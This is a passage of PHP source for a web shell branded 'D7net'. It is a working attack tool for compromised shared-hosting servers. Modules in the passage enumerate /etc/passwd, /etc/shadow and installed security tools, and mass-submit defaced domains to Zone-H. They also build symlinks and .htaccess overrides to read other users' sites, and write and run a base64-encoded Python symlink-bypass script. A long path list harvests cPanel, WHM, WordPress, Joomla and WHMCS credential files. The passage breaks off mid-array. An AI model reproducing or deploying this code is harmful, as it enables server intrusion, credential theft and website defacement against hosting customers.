    showSecParam('Supported databases', implode(', ', $temp));
    echo '<br>';
    
    if( $GLOBALS['os'] == 'nix' ) {
        $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
        $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
        $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
        showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
        showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
        showSecParam('OS version', @file_get_contents('/proc/version'));
        showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
        if(!$GLOBALS['safe_mode']) {
            echo '<br>';
            $temp=array();
            foreach ($userful as $item)
                if(which($item)){$temp[]=$item;}
            showSecParam('Userful', implode(', ',$temp));
            $temp=array();
            foreach ($danger as $item)
                if(which($item)){$temp[]=$item;}
            showSecParam('Danger', implode(', ',$temp));
            $temp=array();
            foreach ($downloaders as $item) 
                if(which($item)){$temp[]=$item;}
            showSecParam('Downloaders', implode(', ',$temp));
            echo '<br/>';
            showSecParam('Hosts', @file_get_contents('/etc/hosts'));
            showSecParam('HDD space', ex('df -h'));
            showSecParam('Mount options', @file_get_contents('/etc/fstab'));
        }
    } else {
        showSecParam('OS Version',ex('ver')); 
        showSecParam('Account Settings',ex('net accounts')); 
        showSecParam('User Accounts',ex('net user'));
    }
    echo '</div></th></table>';

    echo '</div></th></table>';
    echo "</div>";
}
elseif($_GET['D7net'] == 'zoneh') {
    if($_POST['submit']) {
        $domain = explode("\
\
", $_POST['url']);
        $nick =  $_POST['nick'];
        echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
        echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
        function zoneh($url,$nick) {
            $ch = curl_init("http://www.zone-h.com/notify/single");
                  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                  curl_setopt($ch, CURLOPT_POST, true);
                  curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
            return curl_exec($ch);
                  curl_close($ch);
        }
        foreach($domain as $url) {
            $zoneh = zoneh($url,$nick);
            if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
                echo "$url -> <font color=lime>OK</font><br>";
            } else {
                echo "$url -> <font color=red>ERROR</font><br>";
            }
        }
    } else {
        echo "<center class='mybox'><form method='post'>
        <h1>Zone-H Mass Poster</h1><hr color='white'><br>
        <u>Defacer</u>: <br>
        <input type='text' style='border-color=white' name='nick' size='50' value='Desktop77N3T'><br>
        <u>Domains</u>: <br>
        <textarea style='width: 450px; height: 150px; border-color=white' name='url'></textarea><br>
        <input type='submit' class='kotak' name='submit' value='Submit' style='width: 450px; border-color=white'>
        </form>";
    }
    echo "</center>";
}
elseif($_GET['D7net'] == 'symlink') {
$full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
$d0mains = @file("/etc/named.conf");
##httaces
if($d0mains){
@mkdir("d7net_sym",0777);
@chdir("d7net_sym");
@exe("ln -s / root");
$file3 = 'Options Indexes FollowSymLinks
DirectoryIndex d7net.htm
AddType text/plain .php 
AddHandler text/plain .php
Satisfy Any';
$fp3 = fopen('.htaccess','w');
$fw3 = fwrite($fp3,$file3);@fclose($fp3);
echo "
<table align=center border=1 style='width:60%;border-color:#333333;'>
<tr>
<td align=center><font size=2>S. No.</font></td>
<td align=center><font size=2>Domains</font></td>
<td align=center><font size=2>Users</font></td>
<td align=center><font size=2>Symlink</font></td>
</tr>";
$dcount = 1;
foreach($d0mains as $d0main){
if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
<td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
<td>".$user['name']."</td>
<td><a href='$full/d7net_sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>"; 
flush();
$dcount++;}}}
echo "</table>";
}else{
$TEST=@file('/etc/passwd');
if ($TEST){
@mkdir("d7net_sym",0777);
@chdir("d7net_sym");
exe("ln -s / root");
$file3 = 'Options Indexes FollowSymLinks
DirectoryIndex d7net.htm
AddType text/plain .php 
AddHandler text/plain .php
Satisfy Any';
 $fp3 = fopen('.htaccess','w');
 $fw3 = fwrite($fp3,$file3);
 @fclose($fp3);
 echo "
 <table align=center border=1><tr>
 <td align=center><font size=3>S. No.</font></td>
 <td align=center><font size=3>Users</font></td>
 <td align=center><font size=3>Symlink</font></td></tr>";
 $dcount = 1;
 $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
 while(!feof($file)){
 $s = fgets($file);
 $matches = array();
 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
 $matches = str_replace("home/","",$matches[1]);
 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
 continue;
 echo "<tr><td align=center><font size=2>" . $dcount . "</td>
 <td align=center><font class=txt>" . $matches . "</td>";
 echo "<td align=center><font class=txt><a href=$full/d7net_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
 $dcount++;}fclose($file);
 echo "</table>";}else{if($os != "Windows"){@mkdir("d7net_sym",0777);@chdir("d7net_sym");@exe("ln -s / root");$file3 = '
 Options Indexes FollowSymLinks
DirectoryIndex d7net.htm
AddType text/plain .php 
AddHandler text/plain .php
Satisfy Any
';
 $fp3 = fopen('.htaccess','w');
 $fw3 = fwrite($fp3,$file3);@fclose($fp3);
 echo "
 <div class='mybox'><h1>Server Symlinker</h1>
 <table align=center border=1><tr>
 <td align=center><font size=3>ID</font></td>
 <td align=center><font size=3>Users</font></td>
 <td align=center><font size=3>Symlink</font></td></tr>";
 $temp = "";$val1 = 0;$val2 = 1000;
 for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
 if ($uid)$temp .= join(':',$uid)."\
";}
 echo '<br/>';$temp = trim($temp);$file5 = 
 fopen("test.txt","w");
 fputs($file5,$temp);
 fclose($file5);$dcount = 1;$file = 
 fopen("test.txt", "r") or exit("Unable to open file!");
 while(!feof($file)){$s = fgets($file);$matches = array();
 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
 continue;
 echo "<tr><td align=center><font size=2>" . $dcount . "</td>
 <td align=center><font class=txt>" . $matches . "</td>";
 echo "<td align=center><font class=txt><a href=$full/d7net_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
 $dcount++;}
 fclose($file);
 echo "</table></div></center>";unlink("test.txt");
 } else 
 echo "<center><font size=3>Failed symlink !</font></center>";
 }
 } 
}elseif($_GET['D7net'] == 'python') {
	$sym_dir = mkdir('d7net_sympy', 0755);
        chdir('d7net_sympy');
	$file_sym = "sym.py";
	$sym_script = "Iy8qUHl0aG9uDQoNCmltcG9ydCB0aW1lDQppbXBvcnQgb3MNCmltcG9ydCBzeXMNCmltcG9ydCByZQ0KDQpvcy5zeXN0ZW0oImNvbG9yIEMiKQ0KDQpodGEgPSAiXG5GaWxlIDogLmh0YWNjZXNzIC8vIENyZWF0ZWQgU3VjY2Vzc2Z1bGx5IVxuIg0KZiA9ICJBbGwgUHJvY2Vzc2VzIERvbmUhXG5TeW1saW5rIEJ5cGFzc2VkIFN1Y2Nlc3NmdWxseSFcbiINCnByaW50ICJcbiINCnByaW50ICJ+Iio2MA0KcHJpbnQgIlN5bWxpbmsgQnlwYXNzIDIwMTQgYnkgTWluZGxlc3MgSW5qZWN0b3IgIg0KcHJpbnQgIiAgICAgICAgICAgICAgU3BlY2lhbCBHcmVldHogdG8gOiBQYWsgQ3liZXIgU2t1bGx6Ig0KcHJpbnQgIn4iKjYwDQoNCm9zLm1ha2VkaXJzKCdkN25ldHN5bXB5JykNCm9zLmNoZGlyKCdkN25ldHN5bXB5JykNCg0Kc3Vzcj1bXQ0Kc2l0ZXg9W10NCm9zLnN5c3RlbSgibG4gLXMgLyBkN25ldC50eHQiKQ0KDQpoID0gIk9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rc1xuRGlyZWN0b3J5SW5kZXggYnJ1ZHVsLnBodG1sXG5BZGRUeXBlIHR4dCAucGhwXG5BZGRIYW5kbGVyIHR4dCAucGhwIg0KbSA9IG9wZW4oIi5odGFjY2VzcyIsIncrIikNCm0ud3JpdGUoaCkNCm0uY2xvc2UoKQ0KcHJpbnQgaHRhDQoNCnNmID0gIjxodG1sPjx0aXRsZT5TeW1saW5rIFB5dGhvbjwvdGl0bGU+PGNlbnRlcj48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTU+U3ltbGluayBCeXBhc3MgMjAxODxicj48Zm9udCBzaXplPTQ+TWFkZSBCeSBNaW5kbGVzcyBJbmplY3RvciA8YnI+UmVjb2RlZCBCeSBEN25ldDwvZm9udD48L2ZvbnQ+PGJyPjxmb250IGNvbG9yPXdoaXRlIHNpemU9Mz48dGFibGU+Ig0KDQpvID0gb3BlbignL2V0Yy9wYXNzd2QnLCdyJykNCm89by5yZWFkKCkNCm8gPSByZS5maW5kYWxsKCcvaG9tZS9cdysnLG8pDQoNCmZvciB4dXNyIGluIG86DQoJeHVzcj14dXNyLnJlcGxhY2UoJy9ob21lLycsJycpDQoJc3Vzci5hcHBlbmQoeHVzcikNCnByaW50ICItIiozMA0KeHNpdGUgPSBvcy5saXN0ZGlyKCIvdmFyL25hbWVkIikNCg0KZm9yIHh4c2l0ZSBpbiB4c2l0ZToNCgl4eHNpdGU9eHhzaXRlLnJlcGxhY2UoIi5kYiIsIiIpDQoJc2l0ZXguYXBwZW5kKHh4c2l0ZSkNCnByaW50IGYNCnBhdGg9b3MuZ2V0Y3dkKCkNCmlmICIvcHVibGljX2h0bWwvIiBpbiBwYXRoOg0KCXBhdGg9Ii9wdWJsaWNfaHRtbC8iDQplbHNlOg0KCXBhdGggPSAiL2h0bWwvIg0KY291bnRlcj0xDQppcHM9b3BlbigiYnJ1ZHVsLnBodG1sIiwidyIpDQppcHMud3JpdGUoc2YpDQoNCmZvciBmdXNyIGluIHN1c3I6DQoJZm9yIGZzaXRlIGluIHNpdGV4Og0KCQlmdT1mdXNyWzA6NV0NCgkJcz1mc2l0ZVswOjVdDQoJCWlmIGZ1PT1zOg0KCQkJaXBzLndyaXRlKCI8Ym9keSBiZ2NvbG9yPWJsYWNrPjx0cj48dGQgc3R5bGU9Zm9udC1mYW1pbHk6Y2FsaWJyaTtmb250LXdlaWdodDpib2xkO2NvbG9yOndoaXRlOz4lczwvdGQ+PHRkIHN0eWxlPWZvbnQtZmFtaWx5OmNhbGlicmk7Zm9udC13ZWlnaHQ6Ym9sZDtjb2xvcjpyZWQ7PiVzPC90ZD48dGQgc3R5bGU9Zm9udC1mYW1pbHk6Y2FsaWJyaTtmb250LXdlaWdodDpib2xkOz48YSBocmVmPWQ3bmV0LnR4dC9ob21lLyVzJXMgdGFyZ2V0PV9ibGFuayA+JXM8L2E+PC90ZD4iJShjb3VudGVyLGZ1c3IsZnVzcixwYXRoLGZzaXRlKSkNCgkJCWNvdW50ZXI9Y291bnRlcisx";
        $sym = fopen($file_sym, "w");
	fwrite($sym, base64_decode($sym_script));
	chmod($file_sym, 0755);
        $jancok = exe("python sym.py");
	echo "<br><center>Done ... <a href='d7net_sympy/d7netsympy/' target='_blank'>Klik Here</a>";   
}

elseif($_GET['D7net'] == 'config') {
    if($_POST){
        $passwd = $_POST['passwd'];
        mkdir("d7net_config", 0777);
        $isi_htc = "Options all\
Require None\
Satisfy Any";
        $htc = fopen("d7net_config/.htaccess","w");
        fwrite($htc, $isi_htc);
        preg_match_all('/(.*?):x:/', $passwd, $user_config);
        foreach($user_config[1] as $user_os) {
            $user_config_dir = "/home/$user_os/public_html/";
            if(is_readable($user_config_dir)) {
                $grab_config = array(
                                        "/home/$user_os/.my.cnf" => "CPanel",
                    "/home/$user_os/.accesshash" => "WHM-accesshash",
                    "/home/$user_os/public_html/bw-configs/config.ini" => "BosWeb",
                    "/home/$user_os/public_html/config/koneksi.php" => "Lokomedia",
                    "/home/$user_os/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
                    "/home/$user_os/public_html/clientarea/configuration.php" => "WHMCS",             
                    "/home/$user_os/public_html/whmcs/configuration.php" => "WHMCS",
                    "/home/$user_os/public_html/forum/config.php" => "phpBB",
                    "/home/$user_os/public_html/sites/default/settings.php" => "Drupal",
                    "/home/$user_os/public_html/config/settings.inc.php" => "PrestaShop",
                    "/home/$user_os/public_html/app/etc/local.xml" => "Magento",
                    "/home/$user_os/public_html/admin/config.php" => "OpenCart",
                    "/home/$user_os/public_html/slconfig.php" => "Sitelok",
                    "/home/$user_os/public_html/application/config/database.php" => "Ellislab",                   
                    "/home/$user_os/public_html/whm/configuration.php" => "WHMCS",
                    "/home/$user_os/public_html/whmc/WHM/configuration.ph" => "WHMC",
                    "/home/$user_os/public_html/central/configuration.php" => "WHM Central",
                    "/home/$user_os/public_html/whm/WHMCS/configuration.php" => "WHMCS",
                    "/home/$user_os/public_html/whm/whmcs/configuration.php" => "WHMCS",
                    "/home/$user_os/public_html/submitticket.php" => "WHMCS",                                     
                    "/home/$user_os/public_html/configuration.php" => "Joomla",                   
                    "/home/$user_os/public_html/Joomla/configuration.php" => "JoomlaJoomla",
                    "/home/$user_os/public_html/joomla/configuration.php" => "JoomlaJoomla",
                    "/home/$user_os/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",      
                    "/home/$user_os/public_html/Home/configuration.php" => "JoomlaHome",
                    "/home/$user_os/public_html/HOME/configuration.php" => "JoomlaHome",
                    "/home/$user_os/public_html/home/configuration.php" => "JoomlaHome",
                    "/home/$user_os/public_html/NEW/configuration.php" => "JoomlaNew",
                    "/home/$user_os/public_html/New/configuration.php" => "JoomlaNew",
                    "/home/$user_os/public_html/new/configuration.php" => "JoomlaNew",
                    "/home/$user_os/public_html/News/configuration.php" => "JoomlaNews",
                    "/home/$user_os/public_html/NEWS/configuration.php" => "JoomlaNews",
                    "/home/$user_os/public_html/news/configuration.php" => "JoomlaNews",
                    "/home/$user_os/public_html/Cms/configuration.php" => "JoomlaCms",
                    "/home/$user_os/public_html/CMS/configuration.php" => "JoomlaCms",
                    "/home/$user_os/public_html/cms/configuration.php" => "JoomlaCms",
                    "/home/$user_os/public_html/Main/configuration.php" => "JoomlaMain",
                    "/home/$user_os/public_html/MAIN/configuration.php" => "JoomlaMain",
                    "/home/$user_os/public_html/main/configuration.php" => "JoomlaMain",
                    "/home/$user_os/public_html/Blog/configuration.php" => "JoomlaBlog",
                    "/home/$user_os/public_html/BLOG/configuration.php" => "JoomlaBlog",
                    "/home/$user_os/public_html/blog/configuration.php" => "JoomlaBlog",
                    "/home/$user_os/public_html/Blogs/configuration.php" => "JoomlaBlogs",
                    "/home/$user_os/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
                    "/home/$user_os/public_html/blogs/configuration.php" => "JoomlaBlogs",
                    "/home/$user_os/public_html/beta/configuration.php" => "JoomlaBeta",
                    "/home/$user_os/public_html/Beta/configuration.php" => "JoomlaBeta",
                    "/home/$user_os/public_html/BETA/configuration.php" => "JoomlaBeta",
                    "/home/$user_os/public_html/PRESS/configuration.php" => "JoomlaPress",
                    "/home/$user_os/public_html/Press/configuration.php" => "JoomlaPress",
                    "/home/$user_os/public_html/press/configuration.php" => "JoomlaPress",
                    "/home/$user_os/public_html/Wp/configuration.php" => "JoomlaWp",
                    "/home/$user_os/public_html/wp/configuration.php" => "JoomlaWp",
                    "/home/$user_os/public_html/WP/configuration.php" => "JoomlaWP",
                    "/home/$user_os/public_html/portal/configuration.php" => "JoomlaPortal",
                    "/home/$user_os/public_html/PORTAL/configuration.php" => "JoomlaPortal",
                    "/home/$user_os/public_html/Portal/configuration.php" => "JoomlaPortal",                  
                    "/home/$user_os/public_html/wp-config.php" => "WordPress",
                    "/home/$user_os/public_html/wordpress/wp-config.php" => "WordPressWordpress",
                    "/home/$user_os/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
                    "/home/$user_os/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",     
                    "/home/$user_os/public_html/Home/wp-config.php" => "WordPressHome",
                    "/home/$user_os/public_html/HOME/wp-config.php" => "WordPressHome",
                    "/home/$user_os/public_html/home/wp-config.php" => "WordPressHome",
                    "/home/$user_os/public_html/NEW/wp-config.php" => "WordPressNew",
                    "/home/$user_os/public_html/New/wp-config.php" => "WordPressNew",
                    "/home/$user_os/public_html/new/wp-config.php" => "WordPressNew",
                    "/home/$user_os/public_html/News/wp-config.php" => "WordPressNews",
                    "/home/$user_os/public_html/NEWS/wp-config.php" => "WordPressNews",
                    "/home/$user_os/public_html/news/wp-config.php" => "WordPressNews",
                    "/home/$user_os/public_html/Cms/wp-config.php" => "WordPressCms",
                    "/home/$user_os/public_html/CMS/wp-config.php" => "WordPressCms",
                    "/home/$user_os/public_html/cms/wp-config.php" => "WordPressCms",
                    "/home/$user_os/public_html/Main/wp-config.php" => "WordPressMain",
                    "/home/$user_os/public_html/MAIN/wp-config.php" => "WordPressMain",
                    "/home/$user_os/public_html/main/wp-config.php" => "WordPressMain",
                    "/home/$user_os/public_html/Blog/wp-config.php" => "WordPressBlog",
                    "/home/$user_os/public_html/BLOG/wp-config.php" => "WordPressBlog",
                    "/home/$user_os/public_html/blog/wp-config.php" => "WordPressBlog",
                    "/home/$user_os/public_html/Blogs/wp-config.php" => "WordPressBlogs",
                    "/home/$user_os/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
                    "/home/$user_os/public_html/blogs/wp-config.php" => "WordPressBlogs",
                    "/home/$user_os/public_html/beta/wp-config.php" => "WordPressBeta",
                    "/home/$user_os/public_html/Beta/wp-config.php" => "WordPressBeta",
                    "/home/$user_os/public_html/BETA/wp-config.php" => "WordPressBeta",
                    "/home/$user_os/public_html/PRESS/wp-config.php" => "WordPressPress",
                    "/home/$user_os/public_html/Press/wp-config.php" => "WordPressPress",
                    "/home/$user_os/public_html/press/wp-config.php" => "WordPressPress",
                    "/home/$user_os/public_html/Wp/wp-config.php" => "WordPressWp",
                    "/home/$user_os/public_html/wp/wp-config.php" => "WordPressWp",
                    "/home/$user_os/public_html/WP/wp-config.php" => "WordPressWP",
                    "/home/$user_os/public_html/portal/wp-config.php" => "WordPressPortal",
                    "/home/$user_os/public_html/PORTAL/wp-config.php" => "WordPressPortal",
                    "/home/$user_os/public_html/Portal/wp-config.php" => "WordPressPortal",
                                        "/home1/$user_os/.my.cnf" => "cpanel",
                    "/home1/$user_os/.accesshash" => "WHM-accesshash",
                    "/home1/$user_os/public_html/bw-configs/config.ini" => "BosWeb",
                    "/home1/$user_os/public_html/config/koneksi.php" => "Lokomedia",
                    "/home1/$user_os/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
                    "/home1/$user_os/public_html/clientarea/configuration.php" => "WHMCS",                
                    "/home1/$user_os/public_html/whmcs/configuration.php" => "WHMCS",
                    "/home1/$user_os/public_html/forum/config.php" => "phpBB",
                    "/home1/$user_os/public_html/sites/default/settings.php" => "Drupal",
                    "/home1/$user_os/public_html/config/settings.inc.php" => "PrestaShop",
                    "/home1/$user_os/public_html/app/etc/local.xml" => "Magento",
                    "/home1/$user_os/public_html/admin/config.php" => "OpenCart",
                    "/home1/$user_os/public_html/slconfig.php" => "Sitelok",
                    "/home1/$user_os/public_html/application/config/database.php" => "Ellislab",                  
                    "/home1/$user_os/public_html/whm/configuration.php" => "WHMCS",
                    "/home1/$user_os/public_html/whmc/WHM/configuration.ph" => "WHMC",
                    "/home1/$user_os/public_html/central/configuration.php" => "WHM Central",
                    "/home1/$user_os/public_html/whm/WHMCS/configuration.php" => "WHMCS",
                    "/home1/$user_os/public_html/whm/whmcs/configuration.php" => "WHMCS",
                    "/home1/$user_os/public_html/submitticket.php" => "WHMCS",                                        
                    "/home1/$user_os/public_html/configuration.php" => "Joomla",                  
                    "/home1/$user_os/public_html/Joomla/configuration.php" => "JoomlaJoomla",
                    "/home1/$user_os/public_html/joomla/configuration.php" => "JoomlaJoomla",
                    "/home1/$user_os/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",     
                    "/home1/$user_os/public_html/Home/configuration.php" => "JoomlaHome",
                    "/home1/$user_os/public_html/HOME/configuration.php" => "JoomlaHome",
                    "/home1/$user_os/public_html/home/configuration.php" => "JoomlaHome",
                    "/home1/$user_os/public_html/NEW/configuration.php" => "JoomlaNew",
                    "/home1/$user_os/public_html/New/configuration.php" => "JoomlaNew",
                    "/home1/$user_os/public_html/new/configuration.php" => "JoomlaNew",
                    "/home1/$user_os/public_html/News/configuration.php" => "JoomlaNews",
                    "/home1/$user_os/public_html/NEWS/configuration.php" => "JoomlaNews",
                    "/home1/$user_os/public_html/news/configuration.php" => "JoomlaNews",
                    "/home1/$user_os/public_html/Cms/configuration.php" => "JoomlaCms",
                    "/home1/$user_os/public_html/CMS/configuration.php" => "JoomlaCms",
                    "/home1/$user_os/public_html/cms/configuration.php" => "JoomlaCms",
                    "/home1/$user_os/public_html/Main/configuration.php" => "JoomlaMain",
                    "/home1/$user_os/public_html/MAIN/configuration.php" => "JoomlaMain",
                    "/home1/$user_os/public_html/main/configuration.php" => "JoomlaMain",
                    "/home1/$user_os/public_html/Blog/configuration.php" => "JoomlaBlog",
                    "/home1/$user_os/public_html/BLOG/configuration.php" => "JoomlaBlog",
                    "/home1/$user_os/public_html/blog/configuration.php" => "JoomlaBlog",
                    "/home1/$user_os/public_html/Blogs/configuration.php" => "JoomlaBlogs",
                    "/home1/$user_os/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
                    "/home1/$user_os/public_html/blogs/configuration.php" => "JoomlaBlogs",
                    "/home1/$user_os/public_html/beta/configuration.php" => "JoomlaBeta",
                    "/home1/$user_os/public_html/Beta/configuration.php" => "JoomlaBeta",
                    "/home1/$user_os/public_html/BETA/configuration.php" => "JoomlaBeta",
                    "/home1/$user_os/public_html/PRESS/configuration.php" => "JoomlaPress",
                    "/home1/$user_os/public_html/Press/configuration.php" => "JoomlaPress",
                    "/home1/$user_os/public_html/press/configuration.php" => "JoomlaPress",
                    "/home1/$user_os/public_html/Wp/configuration.php" => "JoomlaWp",
                    "/home1/$user_os/public_html/wp/configuration.php" => "JoomlaWp",
                    "/home1/$user_os/public_html/WP/configuration.php" => "JoomlaWP",
                    "/home1/$user_os/public_html/portal/configuration.php" => "JoomlaPortal",
                    "/home1/$user_os/public_html/PORTAL/configuration.php" => "JoomlaPortal",
                    "/home1/$user_os/public_html/Portal/configuration.php" => "JoomlaPortal",                 
                    "/home1/$user_os/public_html/wp-config.php" => "WordPress",
                    "/home1/$user_os/public_html/wordpress/wp-config.php" => "WordPressWordpress",
                    "/home1/$user_os/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
                    "/home1/$user_os/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",        
                    "/home1/$user_os/public_html/Home/wp-config.php" => "WordPressHome",
                    "/home1/$user_os/public_html/HOME/wp-config.php" => "WordPressHome",
                    "/home1/$user_os/public_html/home/wp-config.php" => "WordPressHome",
                    "/home1/$user_os/public_html/NEW/wp-config.php" => "WordPressNew",
                    "/home1/$user_os/public_html/New/wp-config.php" => "WordPressNew",
                    "/home1/$user_os/public_html/new/wp-config.php" => "WordPressNew",
                    "/home1/$user_os/public_html/News/wp-config.php" => "WordPressNews",
                    "/home1/$user_os/public_html/NEWS/wp-config.php" => "WordPressNews",
                    "/home1/$user_os/public_html/news/wp-config.php" => "WordPressNews",
                    "/home1/$user_os/public_html/Cms/wp-config.php" => "WordPressCms",
                    "/home1/$user_os/public_html/CMS/wp-config.php" => "WordPressCms",
                    "/home1/$user_os/public_html/cms/wp-config.php" => "WordPressCms",
                    "/home1/$user_os/public_html/Main/wp-config.php" => "WordPressMain",
                    "/home1/$user_os/public_html/MAIN/wp-config.php" => "WordPressMain",
                    "/home1/$user_os/public_html/main/wp-config.php" => "WordPressMain",
                    "/home1/$user_os/public_html/Blog/wp-config.php" => "WordPressBlog",
                    "/home1/$user_os/public_html/BLOG/wp-config.php" => "WordPressBlog",
                    "/home1/$user_os/public_html/blog/wp-config.php" => "WordPressBlog",
                    "/home1/$user_os/public_html/Blogs/wp-config.php" => "WordPressBlogs",
                    "/home1/$user_os/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
                    "/home1/$user_os/public_html/blogs/wp-config.php" => "WordPressBlogs",
                    "/home1/$user_os/public_html/beta/wp-config.php" => "WordPressBeta",
                    "/home1/$user_os/public_html/Beta/wp-config.php" => "WordPressBeta",
                    "/home1/$user_os/public_html/BETA/wp-config.php" => "WordPressBeta",
                    "/home1/$user_os/public_html/PRESS/wp-config.php" => "WordPressPress",
                    "/home1/$user_os/public_html/Press/wp-config.php" => "WordPressPress",
                    "/home1/$user_os/public_html/press/wp-config.php" => "WordPressPress",
                    "/home1/$user_os/public_html/Wp/wp-config.php" => "WordPressWp",
                    "/home1/$user_os/public_html/wp/wp-config.php" => "WordPressWp",
                    "/home1/$user_os/public_html/WP/wp-config.php" => "WordPressWP",
                    "/home1/$user_os/public_html/portal/wp-config.php" => "WordPressPortal",
                    "/home1/$user_os/public_html/PORTAL/wp-config.php" => "WordPressPortal",
                    "/home1/$user_os/public_html/Portal/wp-config.php" => "WordPressPortal",
                                        "/home2/$user_os/.my.cnf" => "cpanel",
                    "/home2/$user_os/.accesshash" => "WHM-accesshash",
                    "/home2/$user_os/public_html/bw-configs/config.ini" => "BosWeb",
                    "/home2/$user_os/public_html/config/koneksi.php" => "Lokomedia",
                    "/home2/$user_os/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
                    "/home2/$user_os/public_html/clientarea/configuration.php" => "WHMCS",                
                    "/home2/$user_os/public_html/whmcs/configuration.php" => "WHMCS",
                    "/home2/$user_os/public_html/forum/config.php" => "phpBB",
                    "/home2/$user_os/public_html/sites/default/settings.php" => "Drupal",
                    "/home2/$user_os/public_html/config/settings.inc.php" => "PrestaShop",
                    "/home2/$user_os/public_html/app/etc/local.xml" => "Magento",
                    "/home2/$user_os/public_html/admin/config.php" => "OpenCart",
                    "/home2/$user_os/public_html/slconfig.php" => "Sitelok",
                    "/home2/$user_os/public_html/application/config/database.php" => "Ellislab",                  
                    "/home2/$user_os/public_html/whm/configuration.php" => "WHMCS",
                    "/home2/$user_os/public_html/whmc/WHM/configuration.ph" => "WHMC",
                    "/home2/$user_os/public_html/central/configuration.php" => "WHM Central",
                    "/home2/$user_os/public_html/whm/WHMCS/configuration.php" => "WHMCS",
                    "/home2/$user_os/public_html/whm/whmcs/configuration.php" => "WHMCS",
                    "/home2/$user_os/public_html/submitticket.php" => "WHMCS",                                        
                    "/home2/$user_os/public_html/configuration.php" => "Joomla",                  
                    "/home2/$user_os/public_html/Joomla/configuration.php" => "JoomlaJoomla",
                    "/home2/$user_os/public_html/joomla/configuration.php" => "JoomlaJoomla",
                    "/home2/$user_os/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",     
                    "/home2/$user_os/public_html/Home/configuration.php" => "JoomlaHome",
                    "/home2/$user_os/public_html/HOME/configuration.php" => "JoomlaHome",
                    "/home2/$user_os/public_html/home/configuration.php" => "JoomlaHome",
                    "/home2/$user_os/public_html/NEW/configuration.php" => "JoomlaNew",
                    "/home2/$user_os/public_html/New/configuration.php" => "JoomlaNew",
                    "/home2/$user_os/public_html/new/configuration.php" => "JoomlaNew",
                    "/home2/$user_os/public_html/News/configuration.php" => "JoomlaNews",
                    "/home2/$user_os/public_html/NEWS/configuration.php" => "JoomlaNews",
                    "/home2/$user_os/public_html/news/configuration.php" => "JoomlaNews",
                    "/home2/$user_os/public_html/Cms/configuration.php" => "JoomlaCms",
                    "/home2/$user_os/public_html/CMS/configuration.php" => "JoomlaCms",
                    "/home2/$user_os/public_html/cms/configuration.php" => "JoomlaCms",
                    "/home2/$user_os/public_html/Main/configuration.php" => "JoomlaMain",
                    "/home2/$user_os/public_html/MAIN/configuration.php" => "JoomlaMain",
                    "/home2/$user_os/public_html/main/configuration.php" => "JoomlaMain",
                    "/home2/$user_os/public_html/Blog/configuration.php" => "JoomlaBlog",
                    "/home2/$user_os/public_html/BLOG/configuration.php" => "JoomlaBlog",
                    "/home2/$user_os/public_html/blog/configuration.php" => "JoomlaBlog",
